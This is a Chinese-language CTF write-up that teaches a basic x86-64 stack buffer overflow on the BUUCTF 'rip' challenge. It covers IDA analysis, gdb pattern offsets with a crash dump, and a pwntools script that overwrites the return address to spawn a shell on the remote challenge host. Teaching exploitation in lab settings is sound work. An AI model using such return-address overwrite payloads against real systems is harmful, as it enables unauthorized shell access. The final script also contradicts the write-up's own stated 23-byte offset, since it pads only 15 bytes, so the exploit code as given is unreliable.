通过直接刷题逆向学习pwn简单的栈溢出(test_your_nc、rip题解)

在没有汇编和C语言的基础的情况下初看pwn题目真的很 坐牢(一头雾水)

二进制溢出是为数不多连做题过程都看不懂的题目类型

本文档将会把我做pwn ctf题的心路历程和零基础解决方案详细整理总结进行分享


test_your_nc

这道题会打linux命令就能做,使用cat命令直接查看flag即可,前面是IDA的分析

使用nc进行连接 回车没有反应

image-20250923213629773

使用IDA64打开程序

image-20250923215030863

按F5进入伪代码模式 查看到调用了系统的/bin/sh(也就是shell)

image-20250923215121109

回到nc 重新连接,然后尝试输入shell命令ls

image-20250923215204757

根目录下回显flag,cat flag即可

image-20250923215539520

rip

栈溢出对我这个没有基础的人来讲这真的很难以理解(特别容易出现一个不会的点中出现十个不会的点套娃)

做题流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1. 连接题目
└─ nc node5.buuoj.cn 26833

2. 分析程序
└─ IDA 打开 → 看到 gets(s) → 栈溢出漏洞

3. 找目标
└─ shift+F12 → /bin/sh → 跳转到 fun() → 地址:0x401186

4. 算偏移
└─ gdb → pattern create 100 → 崩溃 → RBP=0x412d41414341416e
└─ pattern offset → 15 字节到 RBP → 23 字节到返回地址

5. 构造 payload
└─ 15字节填充 + 8字节RBP + 8字节返回地址
└─ p64(0x401186) → 小端序打包

6. 攻击
└─ 发送 payload → 跳转到 fun() → system("/bin/sh") → cat flag

使用IDA打开程序 main函数伪代码如下

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

简单的代码解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
// 在栈上开辟了一个长度为15字节的字符数组(缓冲区),用于存放用户输入
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

// 打印提示信息
puts("please input");

// 这是一个危险的函数:从标准输入(如键盘)读取数据,并存放到数组s中
gets(s, argv);

// 将用户输入的内容再打印出来
puts(s);

// 打印结束信息
puts("ok,bye!!!");

// 主函数返回
return 0;
}

核心漏洞分析

这段代码的致命漏洞在于使用了 gets(s) 函数。

为什么 gets 函数是危险的?

  • gets 函数的工作方式是:不断地读取用户输入,直到遇到换行符(回车)或文件结束符(EOF)为止
  • 完全不检查用户输入的数据量是否超过了目标缓冲区(即 char s[15])的大小。
  • 如果用户输入了超过15个字符(比如20个、50个或100个字符),gets 会毫不犹豫地将所有数据都写入内存。

使用checksec查看文件是否被保护

1
checksec --file=pwn1

这个选项表示栈保护功能有没有开启。

image-20250925141252314

Canary(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

可能不够直观,我们来一个更加直观的解释

栈内存的直观比喻

想象栈内存就像一个多层架子,每层放不同的东西:

1
2
3
4
5
6
7
8
9
10
|-----------------|
| 返回地址 | ← 函数结束后要回到哪里
|-----------------|
| 旧的rbp | ← 调用者的栈帧位置
|-----------------|
| s[14] | ← 第15个字节
| ... |
| s[1] | ← 第2个字节
| s[0] | ← 第1个字节
|-----------------|

你的 char s[15] 只是这个架子上最下面的15个小格子

gets 函数的危险行为

gets 函数的工作方式:

  • 无脑填坑:不管架子有多少空间,它一直往里面塞数据
  • 不会停止:直到遇到回车键才罢休

正常输入(14个字符 + 回车):

1
2
输入: "12345678901234"
架子状态: [1][2][3]...[1][4][\0] ← 刚好填满,安全!

溢出输入(20个字符):

1
2
3
4
5
输入: "12345678901234567890"
架子状态:
[1][2][3]...[9][0] ← 填满15个后继续向上写
[旧的rbp被覆盖] ← 危险!
[返回地址被覆盖] ← 更危险!

Canary(金丝雀)保护机制

1
2
3
4
5
6
正常栈布局:
| 返回地址 |
| 旧的rbp |
| [Canary] | ← 编译器插入的"警卫"
| s[14] |
| ... |

Canary 的工作原理:

  1. 函数开始时:在缓冲区后面放一个随机数(金丝雀)
  2. 函数返回前:检查这个数是否被修改
  3. 如果被修改:立即崩溃程序,防止攻击

没有保护机制的情况下可以通过构造特殊的溢出来做一些事情

寻找目标地址

再次打开IDA 使用快捷键shift+F12 找到字符串/bin/sh(获取shell) 双击点击进去

image-20250925144835514

右键对应的行,点击”Xrefs to” 可以看到是从哪个函数引用

image-20250925150136991

打开对应的fun函数 找到函数地址0x401186 下一步可以准备把返回地址修改为此函数地址即可

IDA 里看 fun() 的第一条指令地址,确认是 0x401186,否则可能跳错地方。

image-20250925150721080

然后寻找偏移量,将返回地址覆盖为fun函数即可

偏移量是什么?

偏移量 = 从起点到目标的”步数”

想象你要去朋友家:

  • 起点:你家门口(缓冲区的开始位置)
  • 目标:朋友家的门牌(返回地址的位置)
  • 偏移量:需要走多少步才能到达朋友家门口

在栈溢出中:

  • 起点:你输入数据的第一个字符
  • 目标:返回地址在内存中的位置
  • 偏移量:需要多少字节数据才能”走到”返回地址的位置

使用停车场比喻偏移量

1
2
3
4
停车场布局:
[车位1] [车位2] ... [车位15] [过道] [管理员办公室] [出口大门]
↑ ↑ ↑ ↑ ↑
s[0] s[14] 填充 RBP 返回地址
  • 你的车只能停15个车位(s[15]数组)
  • 但如果你硬要停更多车,就会占用过道、办公室…
  • 假如偏移量23:从车位1到出口大门需要经过23个”位置”

使用动态调试计算偏移值

计算偏移量是重点(每个程序偏移值不一样),计算出来之后即可编写payload实现getshell

为什么需要精确计算?

  • 偏移量太小:无法覆盖到返回地址,攻击失败
  • 偏移量太大:可能破坏其他数据,导致程序崩溃
  • 偏移量精确:刚好覆盖返回地址,攻击成功

启动 GDB 并加载目标

1
gdb ./pwn1

生成溢出字符串

1
pattern create 100

GDB 本身只是把这串字符 printf 出来;没有修改被调试进程任何状态。

image-20250925163906869

输入run运行

image-20250925170015581

输入刚刚生成的字符串

1
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

回显一下内容 可以从里面找到RBP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
gdb-peda$ run
Starting program: /home/xiaozhi_z/Desktop/pwn1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
please input
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
ok,bye!!!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2b8 --> 0x7fffffffe56b ("/home/xiaozhi_z/Desktop/pwn1")
RCX: 0x68d4fce1
RDX: 0x0
RSI: 0x4052a0 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7ffff7fa17b0 --> 0x0
RBP: 0x412d41414341416e ('nAACAA-A')
RSP: 0x7fffffffe1a8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401185 (<main+67>: ret)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffe2c8 --> 0x7fffffffe588 ("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40117a <main+56>: call 0x401030 <puts@plt>
0x40117f <main+61>: mov eax,0x0
0x401184 <main+66>: leave
=> 0x401185 <main+67>: ret
0x401186 <fun>: push rbp
0x401187 <fun+1>: mov rbp,rsp
0x40118a <fun+4>: lea rdi,[rip+0xe8a] # 0x40201b
0x401191 <fun+11>: call 0x401040 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1a8 ("A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe1b0 ("AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe1b8 ("aAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe1c0 ("AbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe1c8 ("AAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe1d0 ("HAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe1d8 ("AIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe1e0 ("AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401185 in main ()

也可以使用命令直接显示RBP

1
info registers rbp

image-20250925170224966

计算偏移值

1
pattern offset 0x412d41414341416e

得到偏移值为15 可以编写payload

从输入缓冲区开始,到 RBP 的起始位置,需要 15 字节

  • 前 15 字节:覆盖缓冲区 + 填充到 RBP
  • 接下来 8 字节:覆盖 RBP(可随意)
  • 再接下来 8 字节:覆盖返回地址

image-20250925170315685

构建payload进行getshell

当前已知信息总结:

项目 内容
缓冲区大小 15 字节(char s[15]
溢出偏移量 15 字节(刚好覆盖 RBP)
返回地址偏移 15 + 8 = 23 字节
目标函数地址 0x401186fun() 函数)
目标 覆盖返回地址为 0x401186

Payload 构造思路:

我们要构造一个输入,使得:

  • 前 15 字节:填充缓冲区
  • 中间 8 字节:覆盖旧的 RBP(可以随便填)
  • 后 8 字节:覆盖返回地址为 0x401186

可以让AI生成一个payload来getshell

p64(0x401186) 会把地址打包成 小端序 的 8 字节,符合 x86-64 的内存布局。

1
2
3
4
5
from pwn import *

p = remote('node5.buuoj.cn', 26833)
p.sendline(b'a' * 15 + p64(0x401186))
p.interactive()

运行代码然后cat flag 即可

本题之所以能用固定地址,是因为:

  1. 程序没有开启 PIE(地址随机化)
  2. 远程环境关闭了 ASLR 或用了 固定基址

实战中要先检查 checksecPIE 项,如果开了 PIE,就不能硬编码地址。

image-20250925171851181